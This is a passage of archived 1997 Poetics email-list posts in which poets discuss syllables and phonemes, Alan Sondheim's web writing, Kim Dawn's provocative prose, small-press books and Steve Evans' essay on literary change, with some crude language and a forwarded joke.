Myself have been writing drawn from list- & e-mail interaction, but s/he is i another league, with a grasp of programs that fits him/her to be the pioneer poet you make him/her out to be. Mind you, I dont know much abt what other workers in the field are capable of--perhaps Jim Rosenberg or Loss Glazier or some others have updated the List & I missed it. But no info one doesn't have can minimize Sondheim's postings. David

↑ Index

408. **Tom Orange**
syllable king and pin
Mon 16 Jun 1997

---

seem not to be getting posts -- thot it was trouble w/my server but simon schuchat remarks of having trouble too -- hello sysop?

so i have to catch up a bit...

george thompson wrote:
> There are probably many ways to define the syllable, but, like Olson maybe,
> I tend to look at it as a metrical element, i.e., as an abstract unit of
> measure that ignores real but metrically irrelevant things like phonemes or
> distinctive features. [snip]
> I don't understand the distinction that you make, Tom, between 'bent' or
> 'rent', and 'ent'. As purely syllabic units they are all
> equivalent...[snip] What is 'ent' if not a syllable? I see it as just a
> sequence of phonemes, and so from my point of view, the phoneme remains the
> fundamental unit of all language [not just poetry] from the
> "sonic-semantic" point of view. What distinguishes 'bent' [as a "unit of
> poetic substance"] from 'rent' and 'ent' are the initial phonemes: /b/ and
> /r/ and 0 [zero phoneme].

i'm arguing for something i don't have terms for and that isn't quite thought out yet. i guess i want to say that while syllables carry already-determined meaning and phonemes don't carry any meaning (more or less in both cases -- certainly there are exceptions), i'm looking for a unit that lies somewhere between: small units of sound that carry meaning- potential. "ent" wd be something like this: a syllable yes but unlike "bent" or "rent" in that the latter already have meanings while "ent" is more waiting to be caught in a signifying intention. (i guess i want to attribute meaning to all syllables, which i know is ridiculous: "tion" is certainly a syllable but more like "ent" in my sense of having signifying intention rather than meaning of itself.)

but yr right george, olson is probably looking at it from the viewpoint of metrics, as you seem to be too, which is probably where we are differing. my "ent"

is something of an abstract unit, but i can't think it by itself as metrical: the "real but metrically irrelevant things" that the syllable as metrical unit "ignores" (in your and perhaps olson's sense) are precisely what interest me and what i'm trying to get at. bent rent and ent when all understood as syllables elide the differences in meaning (or, in the case of "ent," what i've tried to call signifying intention).

like joseph duemer said, "some syllables are heftier than others." for me, they're all too hefty!

tom.

↑ Index

409. **Tom Orange**
jwcurry, sondheim, kdawn
Mon 16 Jun 1997

---

lbd, where has that jwcurry poem you mention been published?

i agree with what kent johnson says abt sondheim's work -- fascinating as it is, from what snippets we've seen posted here, yet generating little response. i myself have scrolled thru alan's stuff as it comes thru my mailbox, more or less in bewilderment and wonder, thus making no comment my only initial comment. must go to the spoons page and check out more.

by contrast, some of kim's writing certainly provoked responses here, but some of it also went by undiscussed. too much, all! baroque excess! skim, scan, scroll, delete! --More--(1%)--Press Space Bar to Continue--

t.

↑ Index

410. **Bob Grumman**
Re: syllable king and pin
Mon 16 Jun 1997

How about "sylb" as a textual unit between a phoneme and a syllable? Not a suggestion really worth a posting, probably, but I also wanted to ask a question or two. What would the "s" in the phoneme, "sh," be called? Or the "t" in "th?" I'm vague about what a grapheme is, too: a phoneme in print? If there's no name for partial phonemes like the afore-mentioned "s" and "t," my first very tentative suggestion is "rudineme." So the word "the" would consist of the two phonemes, "th" and "e," and of the three rudinemes, "t," "h" and "e."

Oops, I shouldn't haven't started on this. Now I also want to know what elements like the dot of an "i" and the crossbar of a "t" should be called. My first

thought (forgive me) is "infranemes." I'm sure printers have some standard term, though.

Any help on these urgent matters would be appreciated.

--Bob G.

↑ Index

411. **Pritchett,Pat**
Re: jwcurry, sondheim, kdawn
Mon 16 Jun 1997

I will briefly "third" Kent & Tom's posts. I too am betwitched, be- bothered and be-wilded by Alan's work as it appears here and at his other websites (which I've only just begun to examine). This is exciting groundbreaking work and only my own ignorance prevents me from saying more about the theory behind the work other than it appears to be the logical extension of his work in _Disorders of the Real_. "Confused Fall of Autumnal Empire" now adorns my grey office cube wall.

Patrick Pritchett

PS - pls note erratum in my prev. posted reading list: David Bromige is the author of _The Haberdasher of Long Gone_. Thank you.

From: Tom Orange
To: POETICS
Subject: jwcurry, sondheim, kdawn
Date: Monday, June 16, 1997 11:07AM

i agree with what kent johnson says abt sondheim's work -- fascinating as it is, from what snippets we've seen posted here, yet generating little response. i myself have scrolled thru alan's stuff as it comes thru my mailbox, more or less in bewilderment and wonder, thus making no comment my only initial com- ment. must go to the spoons page and check out more.

↑ Index

412. **David Israel**
Re: Diamanda Galas / Laurie Anderson
Mon 16 Jun 1997

Gwyn et al.,

Kristin Gallagher's reference for a Galas discoraphy sounds good --

> *in the REsearch book *angry women* the first interview is with her, followed by a discography . . .*

I didn't speak up, since I've never had recordings of the Diamond Gal -- have only seen / heard her in live concert. I've a hunch that like composer/performer Glen Branca (for instance), some (or much) of Diamanda Galas's work is best (or maybe-even, only) susceptible to appreciation amid the wow! of live performance --

this being the utterance of basic biases (& from one who wasn't well able to endure an entire concert anyway; -- but still was glad to absorb what I could manage). Saw Galas in the 80s -- in San Francisco she performed in a dark, crowded South-of-Market venue: ideal. Hmm -- perhaps she also appeared in the John Adams-curated "New and Unusual Music" series (under SF Symphony aegis) that imported a number of fine out-of-towner innovators: Meredith Monk, Laurie Anderson, et alia.

Galas belts it out LOUD! Seem to recall an interview where she mentions classical operatic training (for "chops" ya know).

Regarding Laurie Anderson, she was supposedly going to establish (in collaboration w/ kindred performance / musician chums) some manner of surreal amusement park in Barcelona. Any news on that, anyone?

d.i.

↑ Index

413. **Kim Dawn**

Re: jwcurry, sondheim, kdawn

Mon 16 Jun 1997

---

if anyone has sondheim's work on file could you post it? i missed it. what kind of minor , apprentice like character would i be kent?

kim dawn is a lewd drunken old man. she is a hologram. she is out to shock, provocation for provocations sake, art for art's sake kinda gal. from my point of view, i must say her writing, even her life, since the two are so entwined, hold no integrity. (even though i've never seen or read any of her work.) never seen the dripping the thawing the peeling the brewing the staining the gorging the vomiting the stuffing the wrapping the scraping the drenching the soaking. even so i feel i am an AUTHORITY on her work. especially the writing i've never read. she sounds like a girl who's too stuck on herself. in fact, i think she might be a serial killer. a rapist. definitely an alcoholic. she gets on my nerves. she cranks on my nerves. she pushes my buttons. i found myself dripping when i met her. definitely not literary quality. just some obnoxious snot-nosed kid from the poor part of town. oh, from the poor part of town, oh you poor poor thing. i suppose next she's gonna tell us she was beaten and thrown across rooms. i suppose she's gonna tell us she eats meat raw from the bone. i can't believe she

made it to university. she should be on the street selling her body. i hear she used to hoard chocolate bars in her room. her parents put her dinner on the floor under the table. they introduced her as the family dog with the bad home perm. well, i heard she runs a whore house. she's actually a man. and beats her women. i'm tired of her. i find her work far too personal. i don't wanna know who she is. i don't wanna guess what's fact. what's fiction. i like prose, sure, but i wouldn't call for work literary, it belongs in the worst pornography magazines, in comic books. i like poetry that's soft, that's academic, that's smarter than her, that's void of emotion. keep your spilling guts to yourself kimdawn. choke on;em.

↑ Index

414. Judy Roitman

Re: syllable. king and pin of versification.

Mon 16 Jun 1997

> *I don't understand the distinction that you make, Tom, between 'bent' or 'rent', and 'ent'. As purely syllabic units they are all equivalent:*

I don't know what distinction Tom was making, but they sure seem different to me --- the semi-explosive b, the long r, the absence of a beginning consonant. Wouldn't confuse one for another in a dark alley, nope.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

415. David Israel

Joke

Mon 16 Jun 1997

For readers unfamiliar w/ LadyHawke, a.k.a. Irene A Mystery (who offers gratis an emailed joke-a-day to her subscribers), the appended will serve as intro. (The nature of her jokesterism varies, but this seems a somewhat typical example.) The 3-tiered formation of the joke gives it a nice folktale structure (& the cultural characteristics of the three levels of hyper-intelligence mentioned are, perhaps, interesting . . . .)

d.i.

>>> Irene A. Mystery <[redacted]> 06/16/97
03:23am >>>
JUST A REMINDER

I will be a featured poet today,
Monday night, June 16th, at 9 pm at
PLANET ONE CAFE
76 East 7th Street (near 1st Avenue)
[redacted]

Hope to see you there! After all, Mets and Yankees are playing three times. I get to go on only once..... :))

And now, the Joke Du Jour: As they say, "Be careful what you wish for..... You just might get it!"

LadyHawke *~*~*~*~* There were three guys and they're out having a relaxing day fishing. Out of the blue, they catch a mermaid who begs to be set free in return for granting each of them a wish. One of the guys just doesn't believe it, and says: "Ok, if you can really grant wishes, then double my IQ" The mermaid says: "Done. Suddenly, the guy starts reciting Shakespeare flawlessly and analyzing it with extreme insight.

The second guy is so amazed he says to the mermaid: "Triple my IQ" The mermaid says: "Done." The guy starts to spout out all the mathematical solutions to problems that have been stumping all the scientists of varying fields: physics, chemistry, etc. The last guy is so enthralled with the changes in his friends, that he says to the mermaid: "Quintuplet my IQ"

The mermaid looks at him and says: "You know, I normally don't try to change people's minds when they make a wish, but I really wish you'd reconsider."

The guy says: "Nope, I want you to times my IQ by five, and if you don't do it, I won't set you free."

"Please," says the mermaid "You don't know what you're asking... It'll change your entire view on the universe! ...won't you ask for something else... a million dollars? anything?"

But no matter what the mermaid said, the guy insisted on having his IQ increased by five times it's usual power. So the mermaid sighed and said: "Done."

And so.....
.
.
.
.
.

He became a woman.
~~~~~~~~~~~~~~~~~~~~~
Submitted by Mich1FedX

P.S. NOTE for the new subscribers: the glyph at the end of my signature is a flying Hawke. View it in non-proportional font, like Courier. Also, ^v^
<- - LadyHawke. =20
.-*"*-.,,.-*"*-.,,.-*"*-.,,.-*"*-.
LadyHawke's Joke du Jour
{=3D^:^=3D} __ =3D^,^=3D __ {^~;~^}
If you like sexual jokes / innuendoes / real life anecdotes / good old humor / political satires & such, why don't you subscribe to my humor list?
The subscription is free! Send a message to
[redacted] with the word SUBSCRIBE in the
subject & your name in the body. If you are ON my list but do NOT want to be on it, please type UNSUBSCRIBE in the subject.
Hope to hear from new subscibers soon.
And remember, "A joke a day keeps the doctor away!" Or was it an apple?
Hmmmm....

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http://www.ladyhawk.com

↑ Index

416. **amato**
Re: alan jennifer sondeheim
Mon 16 Jun 1997

---

just to add my name to the list of folks who've noted alan sondheim's talents... if you haven't already, well worth checking out his web site, at:

http://jefferson.village.virginia.edu/~spoons/internet_txt.html

i have to confess here that, if i could do it over again, one name that would appear *someplace* in my own _bookend_ is alan's... in any case, he's certainly managed some incredible aesthetic-philosophical (even mathematical!) deformations of the ascii-html interface, literally and metaphorically...
~~~~~~~~~~~~~~~~~~~~~

best,

joe

↑ Index

417. Daniel Bouchard
kdawn chronicles: an appropriate posting
Mon 16 Jun 1997

Now we come to a point in the never-compelling, never-interesting kdawn thread where, as I excerpt at the bottom, the fart sent in the list's general direction throws a snide aside in that in angry kdawn's struggle against a complacent world, it is kdawn's poetry and interests that are most important, and not the soft-headed, bookish, poesies of the poetics listmembers.

This is truly a mild turn. Against the backdrop of deeper uncertainty--that of identity--the poetics listmembers (many if not most if not all) in addition to not knowing one another (the world), remain in the dark as to who kdawn is, although the painfully teasing posts make coy allusions.

We don't know for instance, if kdawn is a youngster, fingering a fresh tattoo on the leg, with another finger up the nose while watching the poetics listmembers squirm as they are startled out of their little worlds.

We don't know if kdawn if is an adult, been around the block a few times, scratching bald head with the left hand, the right forefinger up the nose, while watching the poetics list reel from street-smart e-mail antics that sends the stodgy scurrying to their isolated inner-rooms where the book lined shelves prevent bad things from happening.

We don't know for instance, if kdawn is a psychotic, looking up addresses of poetics listmembers through big free internet yellow pages, polishing shotgun barrel with right hand, while left forefinger explores nasal cavity.

We don't know if kdawn is at work in front of listless computer light, right hand fidgeting with stack of Twinkies, left thumb picking through ear wax, right eye on look-out for boss.

We just dont know.

That's why I'm going to stay tuned to the poetics list, where you can't say you aren't warned often enough.

[redacted]

kdawn wrote:

". i don't wanna guess what's fact. what's fiction. i like prose, sure, but i wouldn't call for work literary, it belongs in the worst pornography magazines,

in comic books. i like poetry that's soft, that's academic, that's smarter than her, that's void of emotion. keep your spilling guts to yourself kimdawn. choke on;em.

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418. **Alan Julu Sondheim**
Re: away like Echo
Mon 16 Jun 1997

Whew. I'm glad some people appreciate my work; I feel I'm borderline in this and other communities. But I also appreciate Kim Dawn's work, def- initely, including her reply which I thought was brilliant. It's not a question of comparison; we're all inscribing...

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ and Javascripted text/webpages -- Tel. [redacted], 432 Dean St., Brooklyn, NY 11217 IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE

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419. **dbkk**
Re: jwcurry, sondheim, kdawn
Mon 16 Jun 1997

At 1:21 PM -0400 6/16/97, Kim Dawn wrote:

> *kim dawn is a lewd drunken old man. she is a hologram. she is out to shock, provocation for provocations sake, art for art's sake kinda gal. from my point of view, i must say her writing, even her life, since the two are so entwined, hold no integrity. (even though i've never seen or read any of her work.)*

<snip>

> *i find her work far too personal.*
> *i don't wanna know who she is. i don't wanna guess what's fact. what's fiction.*
> *i like prose, sure, but i wouldn't call for work literary, it belongs in the worst pornography magazines, in comic books.*
> *i like poetry that's soft, that's academic, that's smarter than her, that's void of emotion.*
> *keep your spilling guts to yourself kimdawn. choke on;em.*

When Kathy Acker was on a panel I curated a few years ago--"Narrative Strategies for Century's End" or something like that--one thing that she was adamant

about was that she was *not* interested in the self. If you look at her work, you'll see what's she's dealing with is more like psychological tropes--or tremors of a larger, shifting cultural self.

To discuss writing in terms of "too personal" or "fact" vs. "fiction" you're missing the boat. It's all artiface, especially in Acker's world.

This surface of vulnerability you've adopted is manipulative--this unacknowledged manipulativeness is the issue--not any shock value you think you're imparting. This is the 90s, after all, shock is like, *over.* We've already had it ad nauseum.

Dodie

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420. L. MacMahon and T.R. Healy
Billy's list
Mon 16 Jun 1997

I’m forwarding information on a distribution service which Billy Mills is operating from Ireland.

But first a poem by one of the writers on his list, Maurice Scully, printed in _the Beau 3_.

Cheers,
Randolph Healy.

****

ON RE-READING LOUIS MACNEICE

You, teacher of poetry with chalk and hangover,
The books you can sometimes share
And all your worries and your guilt, relax over this part
Of the curriculum at least, a shy man, once trapped in a classroom too,
Who surely foresaw such grotesque foreplay with his work.

Across the pages the pencil-marks give artificial emphasis,
Quibble, irritate, yet tend to make one in the end forgive
With _Irony_ and _Typical_ in some swotting pupil’s neat stilt.
And metaphors get correct signs,
And famous lyrics
Are honoured with an asterisk.
Learnt by heart, but now years later, at a bus-stop in the rain, say,
In Birmingham, London, Dublin let come back the formal echo
Of some lines of his as a form of homage
In so many other minds around the planet,

The songs, knowing at last how they should be sung,
Con brio, pianissimo, tete-a-tete.

****

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£1.50

Mills Billy
Letters From Barcelona
Dedalus: 1990 A5 32 pp. Pbk.
Very few copies remain.
£4.95

Mills Billy
Unfinished Alba
Longhouse: 1997 folded broadsheet
Printed on light blue card.
£1.00

Raworth Tom
from Eternal Sections/as Teascain den tSioraiocht
hardPressed: 1990: A5 8 pp. Pamph.
Bilingual. To mark Tom's new Irish passport.
£1.95

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The Basic Colours
Pig Press: 1994 23 x 14 cm. 64 pp. Pbk.
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hardPressed: 1989 A5 12 pp. Pamph.
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****

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421. Alan Julu Sondheim

hysteriu

Mon 16 Jun 1997

-

hysteriu: jennifer's wundering wumb

murky slugged-vine hungs duwn truiling frum durk-wull, skein-cutchers uf jennifer's wumb un the muve thruugh julu; jewel-julu mirrurs bluud-durk spheres with perfect ruy-trucing us distunce turns buck un itself; birth is grunted ucruss the gruin uf prutuculs; yuu're never ulluwed tu furget thut there is nu distunce between neurest puints in these enfulding tis- uses, clused dumuins sputtering in the heuted symphuny uf bluud-red night, in the bluud-durk night

it's time tu stup the breuth uf gud, thin gluss needle between my heuted lips, julu slushing nuw in jennifer-visiuns cuming us pitch-durk bluud rises cluse tu temperuture-thermumeter

the wumb presses uut thruugh the breusts, distends the nipples, wun't plu- cute until bluud is druwn drinking ut the muuth uf gud, the budy un im- mense und bluud-night cuvern, eyes teuring, surgery uf jennifer-julu in u sphere uf thin gluss electrude firing perfect bruin in this durk-red night uf reign uf bluud und heuted thin gluss needles

O Julu suys Jennifer yuu ulwuys luuk unly ut the piece, nut ut the hule. O Jennifer suys Julu everything is bruken und the suuner yuu reulize this. O Julu suys Jennifer dun't yuu ever huve u bruin. O Jennifer suys Julu unly when I huve u mind tu.

- - -

"She will dreum ulung with the cut, guudnight Jennifer, suys Julu.

"Guudnight Julu, huve u luvely dreum.

"(I wish there were mure uf us, thinks Julu.)

"Jennifer heurd thut!"

↑ Index

422. Pritchett,Pat
Re: Joke
Mon 16 Jun 1997

---

touche!

From: David Israel
To: POETICS
Subject: Joke
Date: Monday, June 16, 1997 2:02PM

But no matter what the mermaid said, the guy insisted on having his IQ increased by five times it's usual power. So the mermaid sighed and said: "Done."

And so.....

He became a woman.

↑ Index

423. Rebecca Reynolds
Re: body as text
Mon 16 Jun 1997

"All I ask to feel my brain." ---Artaud (but in French)

body/text text/body
--that is all you know on earth

Kim--
when the word "poem" is saving words the word is etherized. And yet

I like the bad girl stance. I'm tired of good girls who write about being desired. (I'm trying to get a photo taken for MY book and I don't look like one of those lady poets)

and yet I love decorum. What's Poetics? And if your reader renders something "literary" does she sanitize it? And if it isn't literary, can we talk about it on a literary list? (I mean literary as in Powetics) And if you appropriate a violent language can you tame it, like a sign? If text is signification, where is the body? How do you get back to Cixous? I just get further and further and further and further . . .

but the word is never etherized, quite (I mean disconnected from what is speaking)

with all this boundary crossing, like a group of beams across thresholds. I don't know.

Oh vanity of vanity, desire! --Christina Rossetti

I too would like a discussion of the text-body. I'm afraid I'm not
enough of a French thinker or thinker at all to to bring this
abstract/concrete
thing
together--where the body is text--or

to use a gritty pornographic "inappropriate," sometimes violent language--as if a word could be inappropriate--but sometimes

the language catches someone's skin (or catches on their skin) as well as on these various, mucky identities. literary theorist poet/scholar whatever--sort of deportment springs to mind. A kind of borderline of this is okay to say and yet I believe I'm only virtual (or is it viral?) so it's just a text kind of thing as long as I'm On Line

And these days, it IS viral . . . but if I talk about this sample of (say) fluid, this spit/blood/flesh/cunt am I, like, writing my body?

A lexicon has to be mixed?
I don't know. I don't know!

--R. Reynolds

Kim Dawn wrote:

> *body as text.*
> *the textual body.*
> *the texture of skin (.*
> *the layers. the writing. become. dense. indeciferable.*
> *a mass of tangled hair below the surface.*
> *permanence. the tattoo. the thin ink and thick blood.*
> *the unreadable. the forgotton. the body inside the body.*
> *beside*
> *the*
> *body.*
> *the in ( ) between*
> *the hated. the other. the split. the failure of erasure.*
> *the countless attempts. (skin rubbed raw.*
> *it is the memory written before birth. the memory we have chosen to forget.*
> *the memory which lives (and swells). boils. provokes the skins supple surface.*
> *sewn mouths upon the surface.*

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424. Pritchett,Pat
Re: away like Echo
Mon 16 Jun 1997

Not so much borderline as sui generis, Alan.

From: Alan Julu Sondheim
To: POETICS
Subject: Re: away like Echo
Date: Monday, June 16, 1997 2:22PM

Whew. I'm glad some people appreciate my work; I feel I'm borderline in this and other communities. But I also appreciate Kim Dawn's work, def- initely, including her reply which I thought was brilliant. It's not a question of comparison; we're all inscribing...

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ and Javascripted text/webpages --

Tel. [redacted], 432 Dean St., Brooklyn, NY 11217 IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE

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425. Mark Wallace
The Dynamics of Literary Change
Mon 16 Jun 1997

I want to second David Bromige's comments from last week about the value of the new Impercipient Lecture Series. We're short these days on significant forums for the publishing of pieces on poetics outside the limitations of the academic marketplace, and the ILS has already put several significant essays out there for all of us.

While I agree also with David's praise of Steve Evans' essay THE DYNAMICS OF LITERARY CHANGE, I'd like not to stop with praise and get down closer to some of the issues in that essay. I don't know whether the poetics list is the best place to do that, but I'd certainly be interested in feedback from others who have read the Evans piece.

THE DYNAMICS OF LITERARY CHANGE seems to me the most thorough dismantling (but also perhaps reinscribing) that we've had recently of how the manuevering for ideological space around the concept of the "new" in poetry needs reconsideration. Steve's work is part of a growing body of criticism by poets inside recognizably avant garde contexts about problems in the notion of the "new," and about the relation of various generations of avant garde writers to their forebearers. His range of information, and the ease with which he moves among contexts, is impressive. Going back to Adorno and (yes, can you believe it?) Hegel, as well as many others, Steve follows the notion of the "new" in art inside a number of modernist frameworks.

My interest here isn't really in repeating his argument, since he can do it better than I can anyway. But I do want to suggest that in critiquing the dymanics of the "new," Steve is pointing out one of the key issues of contemporary poetics (indeed, as he knows, perhaps "the" key issue of the last 120 years). While by no means am I interested in eliminating the notion of the "new" as a possibility for contemporary poetry, at the least it seems to me that a recontextualization of it is necessary--a recontextualization that sees the need for the "new" in poetry not simply as a given, but as a problem which avant garde writers of the 90s have a different relation to (in some ways) than the generations of avant garde writers before them.

Being a critic and not a poet, Steve is saved from the trouble of having to think through a place for his own poetry inside this framework. Anyone interested in such a take might check out Jefferson Hansen's article "Anarchism and

Culture" in a recent issue of Witz. Both articles share a great skepticism, although their conclusions differ at times. Steve's take, a sort of meditational weave, is the more scholarly and dispassionate; Jeff's has many of the twists and turns that a poet in this maze might find it necessary to inhabit.

One issue that Steve does not raise (this may not be a fault, but simply something outside the bounds of his essay) is how the dynamics of literary change influence the emergence of his own essay. That is, if Steve describes the field of literary activities at a given moment as one in which a variety of new approaches is both made possible and limited both by the objects and authors that constitute the field as well as those who wish the field to change (or who wish to ignore it entirely), then his own essay would also need to be read as one that both makes the history of its present moment possible, but is also to a certain extent made possible by that moment. If one of the concerns of much recent poetics has not been to state a case for the "new" poetry, but to bring the notion of the new under scrutiny, what I keep wondering is what it is about the present environment of avant garde poetry that makes critiquing the dynamics of the new often more important than naively offering something "new." Steve's essay might be then read as part of a new era of avant garde practice WHICH BOTH TAKES APART THE NOTION OF THE AVANT GARDE WHILE REMAINING COMMITTED TO CERTAIN OF THE POSSIBILITIES WHICH THAT NOTION STILL ENABLES. Dan Babiero's essay "Avant Garde without Agonism" in Talisman #14 looks in particular at the possibility of an innovative literature not defined by its rejection of previous innovations.

I'm not without reservations about Steve's work here. He runs the danger at times of suggesting that the specifics of the new are of no matter--he replaces some sentences from Robert Musil with his own statement that "A long list of the shibboleths and rallying cries of the time is omitted," perhaps unintentionally implying that the dynamic he elucidates here is ALWAYS more important than its specifics in any present moment. Some of his lists seem arbitrary, and others (he writes that "The most percipient of twentieth-century theorists--besides Williams, one might mention Gertrude Stein and Antonio Gramsci, Frank O'Hara and Marcel Proust, Samuel Beckett and Theodor Adorno) seem characterized by a kind of exclusivity that succumbs too easily to the dymanic that he is otherwise taking apart. I'm not sure it's so simply true that fields of literature are only "defined by what they exclude and on what principle they exclude it" (Evans 25), but even if they are, such a truth should hardly make us EAGER for exclusion. Evans knows that, of course, but even when he seems to be critiquing it as a misperception, he seems overly enamored of the idea that a close relation to "a small handful of other persons" remains a central condition of artistic activity, whereas it seems to me that the avant garde poetry of THIS MOMENT might have as one of its conditions that no such "small

handful of persons" can really be any longer the sole source of important innovation, assuming they ever were (and I think a history of 20th century poetic innovation will show that such a thing was NEVER true). It is this problem that makes his "Postface on the New Composition" to my mind the weakest part of his essay--his grounds for the choices of the poets he mentions seem for the most part absent, which leaves his mentioning of those writers without adequate discussion in an otherwise astonishingly thorough piece of work. It may be that he is undertaking such a discussion elsewhere--certainly it would have been helpful to tell readers that that is the case, if it is.

Still, it seems to me that THE DYNAMICS OF LITERARY CHANGE provides a scholarly grounding very helpful to the work of other poets and writers of poetics who recognize themselves as inside the dymanics Steve discusses. Since one of the conditions of poetry at the present moment is that many poets have increasingly smaller amounts of time to write and read, it is doubly impressive to me that poets have a critic willing to do some of the necessary work for an engaged poetry to continue. THE DYNAMICS OF LITERARY CHANGE seems to me a crucial essay in the history of our present moment, and more importantly the moment of our present history.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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426. Christopher Alexander

Re: open/innovative poetics pedagogy

Mon 16 Jun 1997

Gwyn wrt:

> *Are there any readings, whether single essays or collections by a particular author, that poetics-listers would consider useful to the participants in a workshop designed to explore open/innovative/experi "mental"/querzblatz writing and practices of writing?*

I've found the Perelman (ed.) book Writing/Talks very useful, also of course The L=A=N=G=U=A=G=E Book, which is just reissued—both because they bring together several different & disparate opinions on wrtg. also of course Content's Dream & Paradise & Method are usefully provocative. more recently (I think), a book called The Poetics of Criticism, again a critical anthology of sorts,

& in which several listmembers are "represented". & of course the Technique volume from Writing from the New Coast (O.blek).

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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427. George Thompson
Re: syllable. king and pin of versification.
Mon 16 Jun 1997

>>I don't understand the distinction that you make, Tom, between 'bent' or
>>'rent', and 'ent'. As purely syllabic units they are all equivalent:
>
>I don't know what distinction Tom was making, but they sure seem different
>to me --- the semi-explosive b, the long r, the absence of a beginning
>consonant. Wouldn't confuse one for another in a dark alley, nope.
>
>
Sure, no one wld want to meet rent or bent [especially bent] in a dark
alley but ent wld be no threat: it doesn't have a head [zero phoneme].

What I meant was that /ent/ is just as much a *syllable* as the other two. The problem with the other two [I suppose we could add /ment/ to the gang, as well as 'meant'] is that they have more husk surrounding their syllabic core. The syllabic core of each of these syllables is the vocalism /e/. /bent/ and /rent/ just happen to have phonic stuff both to the left and the right of the core, whereas /ent/, poor thing, only has that little cluster /nt/ at its back, its tail I suppose.

Look, if you think /bent/ is someone to be avoided in dark alleys, what about that burly thug /brent/ and his wasted friend /spent/? Yes, syllables like people come in all shapes and sizes, but accd to the consitution they're all equal, and each gets only one vote.

I like Bob's attempt to come up with various emic alternatives to 'phoneme.' But phonemes are very interesting little things, poetic little things even.

Also, remember morphemes: the word 'bent' has only one syllable but it has two morphemes [/bend/ + past tense marker /t/ >> /bend+t/ >> 'bent']. So besides

its phonic husk it also carries the burden of two semantic units on its back, unlike that light-weight /ent/, which carries only one such unit [as in /stud-ent/].

As far as I can see if you want to dig down past the level of the syllable, down past the morpheme, you might well be getting down to the phoneme.

re Bob's question: What would the "s" in the phoneme, "sh," be called? Or the "t" in "th?" /sh/ and /th/ are both single phonemes in English, but they are represented by two graphemes. Your "rudinemes" look like graphemes to me.

Enough, all this play on -emes must be getting anemic now, so I'll stop.

George

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428. **amato**
Re: The Dynamics of Literary Change
Mon 16 Jun 1997

---

mark, thanx much for that summary-response to steve evans' essay (which i haven't yet seen)... very informative, searching...

best,

joe

↑ Index

429. **Bob Grumman**
Re: syllable. king and pin of versification.
Mon 16 Jun 1997

Thanks for the help on the various nemes, George. It works for me with the "th" in "thanks": /th/, a single discrete, irreducible verbal sound is a PHONEME; written, it becomes two GRAPHEMES, /t/ and /h/. And "thanks" contains two units of meaning that can't be reduced without losing their meaning, /thank/ and /s/, which are MORPHEMES (I had to clarify that by checking my dictionary).

Alas, as I wrote the above I remembered words like "stick." Would /st/ be a phoneme? Unlike /th/, it can be divided into two sounds. Then there's the /str/ of "strike." What would the /st/ in *it* be? It's two graphemes on paper and both a kind of phoneme by iself, and a portion of the larger phoneme /str/.

Hey, isn't it great to have someone around who can ask questions like this?!
--Bob G.

on hate to admit how much time I've spent not just in dictionaries but in actual books on linguistics (if only coffee-table ones) trying to straighten them out. As I now understand it

a phoneme is the smallest discrete verbal sound

a grapheme, invisible in speech, is the smallest discrete written verbal sign

lmy that I've actually spent time in books on linguistics (only
coffee-table ones, to be sure) trying to work out what George Thompson
wrote:
>
> >>I don't understand the distinction that you make, Tom, between 'bent' or
> >>'rent', and 'ent'. As purely syllabic units they are all equivalent:
> >
> >I don't know what distinction Tom was making, but they sure seem different
> >to me --- the semi-explosive b, the long r, the absence of a beginning
> >consonant. Wouldn't confuse one for another in a dark alley, nope.
> >
> >
> Sure, no one wld want to meet rent or bent [especially bent] in a dark
> alley but ent wld be no threat: it doesn't have a head [zero phoneme].
>
> What I meant was that /ent/ is just as much a *syllable* as the other two.
> The problem with the other two [I suppose we could add /ment/ to the gang,
> as well as 'meant'] is that they have more husk surrounding their syllabic
> core. The syllabic core of each of these syllables is the vocalism /e/.
> /bent/ and /rent/ just happen to have phonic stuff both to the left and the
> right of the core, whereas /ent/, poor thing, only has that little cluster
> /nt/ at its back, its tail I suppose.
>
> Look, if you think /bent/ is someone to be avoided in dark alleys, what
> about that burly thug /brent/ and his wasted friend /spent/? Yes, syllables
> like people come in all shapes and sizes, but accd to the consitution
> they're all equal, and each gets only one vote.
>
> I like Bob's attempt to come up with various emic alternatives to
> 'phoneme.' But phonemes are very interesting little things, poetic little
> things even.
>
> Also, remember morphemes: the word 'bent' has only one syllable but it has
> two morphemes [/bend/ + past tense marker /t/ >> /bend+t/ >> 'bent']. So
> besides its phonic husk it also carries the burden of two semantic units on
> its back, unlike that light-weight /ent/, which carries only one such unit

> [as in /stud-ent/].
>
> As far as I can see if you want to dig down past the level of the syllable,
> down past the morpheme, you might well be getting down to the phoneme.
>
> re Bob's question: What would the "s" in the phoneme, "sh," be called? Or
> the "t" in "th?" /sh/ and /th/ are both single phonemes in English, but
> they are represented by two graphemes. Your "rudinemes" look like
graphemes
> to me.
>
> Enough, all this play on -emes must be getting anemic now, so I'll stop.
>
> George

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430. Kim Dawn

Re: jwcurry, sondheim, kdawn

Mon 16 Jun 1997

---

this isn't acker's world baby.
tell her, em.
please, hot stuff, put me upon the right boat. oh, boy do i need direction.
oh boy, do i do i do i do i do i do i do i do i do i. i do.
can't you see dodie? i was crying out for your help. please show me the way
to proper bad girl prose. or, is it fact or is it fiction. there i go being
stupid again. a stupid cunt.
ALARM, THAT DAWN GIRL IS TRYING TO SHOCK US.
I HEAR AN OBNOXIOUS YAWN FROM DODIE.
you call that personal? i didn't see anything of dawns self there. in fact,
(oops, there i go again, missing the boat) i don't see anything of dawns
self anywhere.
who's we, dodie? who's had it? or, do you hold the concensus? have you been
given the power to speak for all of us?
well, i'd have to agree, kim dawn is not a part of the academic world. i
